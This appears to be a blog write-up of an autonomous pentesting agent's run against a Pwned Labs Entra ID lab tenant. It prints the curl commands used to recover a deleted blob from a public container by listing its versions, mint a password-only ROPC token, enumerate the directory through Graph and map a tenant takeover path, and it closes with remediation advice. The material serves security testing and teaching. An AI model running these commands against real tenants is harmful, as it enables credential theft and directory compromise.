· 8 min read
Two Azure defaults do most of the damage in this campaign. Blob versioning keeps a deleted file retrievable by version id, and the resource owner password credential flow, ROPC, mints a token from a username and password with no interactive step and therefore no multi factor challenge. Neither is a vulnerability. Together, with one careless upload, they are a tenant compromise.
The target was the dev.megabigtech.com Pwned Labs Entra ID scenario. Darkmoon was given the domain and nothing else.
What the agent found
| Severity | Count |
|---|---|
| Critical | 11 (8 exploited) |
| High | 10 (4 exploited) |
| Medium | 4 (confirmed) |
| Low | 3 (2 confirmed) |
| Total | 28 |
The report table lists 28 rows across 14 infrastructure nodes. Several are the same issue recorded twice by different sub-agents working the same surface, for example two rows for the deleted blob recovery and two for the recovered credentials, so the row count is higher than the number of distinct problems to fix.
Chain one: recovering a file that had been deleted
The storage account served a static website from the $web container, and that container allowed anonymous listing. The agent listed it twice, and the difference between the two listings is the finding:
curl -s -H "x-ms-version: 2019-12-12" \
"https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list"
-> 15 blobs (current versions)
curl -s -H "x-ms-version: 2019-12-12" \
"https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions"
-> 16 entries, including:
<Blob><Name>scripts-transfer.zip</Name>
<VersionId>2025-08-07T21:08:03.6678148Z</VersionId>
<Content-Length>1484</Content-Length></Blob>
# current blob: HTTP 404 BlobNotFound (it was deleted)
# version: HTTP 200, 1484 bytes (it is still there)One extra query parameter, and a file someone deleted is downloadable by an anonymous client. Inside the archive were two PowerShell scripts:
entra_users.ps1, a Graph enumeration helper with an Entra ID username and password in a comment header, and the well known Azure PowerShell public client id.stale_computer_accounts.ps1, which builds a PSCredential for an on-premises Active Directory admin account with the password inline as aConvertTo-SecureStringliteral.
The second one is the more serious of the two. It is a domain admin style credential for the on-premises directory, recovered from a deleted blob in a public container.
Chain two: ROPC, and what the token carried
curl -s -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "grant_type=password&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46\
&scope=https://graph.microsoft.com/.default&username=<user>&password=<redacted>"
-> token_type: Bearer, expires_in: 4205
-> amr: ["pwd"] # password only, no second factor
-> scope: Application.ReadWrite.All AppRoleAssignment.ReadWrite.All
AuditLog.Read.All DelegatedPermissionGrant.ReadWrite.All
Directory.AccessAsUser.All Group.ReadWrite.All User.ReadWrite.AllThe amr claim is the proof, not an inference: the authentication methods reference says password only. The scope list is the impact. A leaked password produced a token with Application.ReadWrite.All and Directory.AccessAsUser.All, which is enough to create and credential applications.
With that token the agent enumerated the directory:
curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/users
curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/groups
curl -s -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/applications
-> 60+ users (paginated), 35+ groups, 50+ applications, 31 activated directory rolesThe report records the full inventory as a single high severity finding: 1124 objects enumerated, with the notable service accounts and a guest account identified by name.
The takeover path, and why it is marked confirmed
The highest rated finding in the report, at 10.0, is a tenant takeover path. The agent established each link with a Graph query:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?$expand=principal" \
| jq '.value[] | select(.roleDefinitionId=="7be44c8a-adaf-4e2a-84d6-ab2649e08a13")'
-> roleDefinitionId: 7be44c8a-... (Privileged Authentication Administrator)
principal: it-helpdesk-app
the application has 1 password credentialA service principal holding Privileged Authentication Administrator can reset the credentials of a Global Administrator. The compromised user holds Application.ReadWrite.All, which allows adding a new password credential to an application. Chain the two and you own the tenant.
The agent did not walk it
That finding is recorded as confirmed, not exploited. Nobody added a credential to it-helpdesk-app, and nobody reset a Global Admin password. Doing so would have been destructive and would have changed the tenant. The report proves each precondition independently, says the path exists, and stops. It is the highest severity finding in the campaign and the one nothing was done with, which is the correct outcome for a non-destructive engagement.
The supporting posture
- Six Global Administrators, enumerated by name through the role assignments endpoint.
- An application with 62 password credentials. Credential sprawl on that scale means nobody knows which secret is used by what, so nothing can be rotated safely.
- An admin consented OAuth grant for all principals carrying
Application.ReadWrite.AllandDirectory.ReadWrite.All. - Hybrid sync active, with the last on-premises sync timestamp readable, which pairs badly with an on-premises admin credential recovered from a blob.
- User enumeration through
GetCredentialType, and tenant metadata including SAML signing certificates through unauthenticated well known endpoints. - Missing DMARC and DKIM records, confirmed by direct DNS queries.
Two places the agent showed its reasoning
How it proved ROPC was enabled, using a failure. Against a non-existent account the endpoint returned AADSTS50034: the user account does not exist. The report explains why that matters: if ROPC were disabled the response would have been error 7000218 instead. The flow is confirmed as processed by the error it produces, not by a guess.
A finding left unconfirmed. The device code flow endpoint is present in the tenant metadata, which makes it a phishing vector. The report rates it low and marks it unconfirmed, with the reason stated in the evidence: verifying that no Conditional Access policy blocks it would require authenticated access the agent did not have.
Remediation
- Disable ROPC tenant wide, or block it with a Conditional Access policy. Any account that can be reached by ROPC has no MFA in practice.
- Remove anonymous access from the
$webcontainer, and understand that versioning and soft delete keep deleted content retrievable. Purge versions after a real deletion. - Rotate the Entra ID and on-premises credentials found in the recovered archive, and treat the on-premises account as fully compromised.
- Remove
Privileged Authentication Administratorfrom the service principal, or gate it behind Privileged Identity Management with approval. - Reduce the Global Admin count, review the admin consented grant for all principals, and clean up the 62 password credentials on that application.
- Publish DMARC and DKIM records.
What this proves about autonomous pentesting
The pivot in this campaign is a single query string parameter, include=versions. It is the kind of detail that separates a checklist run from an assessment, and it is entirely mechanical: list, list again with versions, diff the two, fetch what only appears in the second. An agent that follows that through into unzipping the archive, reading two PowerShell scripts, extracting credentials and authenticating with them is doing a full analyst chain, and every step is in the report with the exact request.
Darkmoon is GPL-3.0 and self hosted: repository, documentation.